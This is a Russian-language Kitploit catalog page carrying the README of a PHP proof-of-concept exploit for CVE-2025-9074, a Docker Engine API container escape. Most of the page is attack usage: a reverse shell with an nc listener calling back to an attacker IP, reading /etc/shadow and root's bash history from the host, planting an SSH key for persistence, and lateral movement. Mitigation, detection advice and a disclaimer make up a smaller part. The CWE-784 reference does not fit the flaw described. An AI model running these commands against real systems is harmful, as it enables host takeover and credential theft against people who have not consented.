Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-9074 — PHP poc, exploit for CVE-2025-9074 | Kitploit
Инструменты/GitHubGitHub/c0gnit00/cve-2025-9074
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRemote Access ToolContainer Escape
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP poc, exploit for CVE-2025-9074

Репозиторий

CVE-2025-9074: Неаутентифицированное удаленное выполнение кода в API Docker Engine

Серьезность: CRITICAL | Оценка CVSS: 9.8 (оценка) | Затронутые версии: Docker Desktop < 4.44.3

Эксплойт proof-of-concept для CVE-2025-9074 — неаутентифицированной уязвимости удаленного выполнения кода в API Docker Engine, которая позволяет привилегированный выход из контейнера и компрометацию хост-системы.

🔴 Обзор уязвимости

CVE-2025-9074 — это критическая уязвимость в Docker Desktop, которая предоставляет доступ к API Docker Engine без надлежащей аутентификации или сетевой изоляции. Это позволяет удаленным злоумышленникам:

  • Выполнять произвольные команды с повышенными привилегиями
  • Выйти из изоляции контейнера и получить доступ к файловой системе хоста
  • Устанавливать обратные соединения reverse shell на системы, контролируемые злоумышленником
  • Скомпрометировать весь хост контейнера и основную ОС хоста

Вектор атаки

  • Сетевая доступность: API Docker открыт на сетевых интерфейсах (обычно порт 2375/TCP)
  • Отсутствие аутентификации: API принимает запросы без аутентификации
  • Привилегированные контейнеры: Возможность создания привилегированных контейнеров с доступом к файловой системе хоста
  • Bind Mounts: Прямой доступ к файловой системе хоста через пути bind mount

📋 Требования

  • PHP CLI (7.0+)
  • Расширение curl включено в PHP
  • Сетевое подключение к открытой конечной точке Docker API
  • Docker Desktop < 4.44.3 (уязвимая версия)

Системные требования для цели

Уязвимость затрагивает:

  • Docker Desktop для Windows < 4.44.3
  • Docker Desktop для Mac < 4.44.3
  • Docker Engine (при открытом доступе без TLS)

🚀 Быстрый старт

Установка

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Базовое использование

Выполнить одну команду на хосте Docker:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Обратная оболочка (Reverse Shell)

Установить интерактивную обратную оболочку:

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 Руководство по использованию

Синтаксис команды

root@kitploit:~
php poc.php -u <url> [options]

Параметры

Режим: Выполнение команд

Выполнять одиночные команды на цели:

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Режим: Обратная оболочка (Reverse Shell)

Запустить интерактивную оболочку с обратным вызовом:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

Примеры для конкретных ОС

Цель Linux

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Цель Windows

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

Цель macOS

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Сценарии реальной эксплуатации

1. Разведка

root@kitploit:~
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Сбор учетных данных

root@kitploit:~
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Закрепление

root@kitploit:~
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Горизонтальное перемещение

root@kitploit:~
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 Технические детали

Механизм уязвимости

  1. Открытый сокет/API Docker: Docker API слушает на 0.0.0.0:2375 без аутентификации
  2. Создание привилегированного контейнера: POC создает привилегированные контейнеры через /containers/create
  3. Привязка файловой системы хоста: Контейнеры используют bind mount для доступа к файловой системе хоста:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. Выполнение команд: Команды выполняются с привилегиями root/SYSTEM внутри контейнера
  5. Доступ к файловой системе хоста: Прямой чтение/запись к путям /mnt/hostfs

Поток полезной нагрузки

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

Анализ кода

  • Взаимодействие с Docker API: Использует cURL для HTTP/1.1 REST API связи
  • Демультиплексирование логов Docker: Корректно обрабатывает мультиплексированный формат потоков Docker
  • Кроссплатформенная поддержка: Адаптирует пути bind mount для Windows/Mac/Linux
  • Обработка таймаутов: 60-секундный таймаут для длительно выполняющихся команд

🛡️ Смягчение последствий

Немедленные действия

  1. Обновите Docker Desktop

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. Сетевая изоляция

    • Ограничьте порт Docker API (2375) только localhost
    • Используйте правила брандмауэра для блокировки внешнего доступа
    • Отключите доступ к сокету Docker API
  3. Включите аутентификацию TLS

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Сегментация сети

    • Запускайте Docker Desktop в изолированных сетях
    • Внедрите сетевой доступ с нулевым доверием
    • Используйте VPN для удаленного доступа

Настройки Docker Desktop

  • Windows/Mac: Отключите "Expose daemon on tcp://localhost:2375"
  • Используйте Unix-сокет (/var/run/docker.sock) только для локального доступа
  • Внедрите аутентификацию через Docker Context с учетными данными

📊 Обнаружение

Сетевое обнаружение

root@kitploit:~
# Сканирование на наличие открытых API Docker
nmap -p 2375,2376 -sV target_network

# Проверка, отвечает ли порт на Docker API
curl -s http://target:2375/version

Обнаружение по логам

  • Мониторинг логов демона Docker на предмет необычных вызовов API
  • Оповещение о создании привилегированных контейнеров
  • Отслеживание шаблонов использования bind mount

⚠️ Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.

  • Используйте этот POC только на системах, которыми вы владеете или на которые у вас есть явное разрешение на тестирование
  • Несанкционированный доступ к компьютерным системам незаконен
  • Пользователи берут на себя полную ответственность за свои действия
  • Этот POC предназначен для авторизованного тестирования на проникновение и исследования уязвимостей

📝 Ссылки

  • Безопасность Docker Engine
  • Документация Docker API
  • Детали CVE-2025-9074
  • CWE-784: Зависимость от файлов cookie без надлежащей проверки

🤝 Вклад

Вклад приветствуется! Не стесняйтесь отправлять issues или pull requests.

📄 Лицензия

Этот проект лицензирован на условиях лицензии MIT — подробнее см. в файле LICENSE.

👤 Автор

Исследователь безопасности | Специалист по тестированию на проникновение


Последнее обновление: Май 2025 | Статус: Активное исследование

Скачать инструмент
ПараметрСокращениеОбязательноОписание
--url-u✅ ДаURL Docker API (например, http://1.2.3.4:2375)
--mode-m❌ НетРежим выполнения: cmd или reverse (по умолчанию: cmd)
--cmd-c⚠️ Для режима cmdКоманда для выполнения на цели
--lhost-l⚠️ Для режима reverseВаш IP-адрес для обратного вызова
--lport-p❌ НетВаш порт прослушивания (по умолчанию: 4444)
--os—❌ НетОС цели: linux, mac, windows (по умолчанию: linux)
--cleanup—❌ НетУдалить контейнер после выполнения
--help-h❌ НетПоказать справку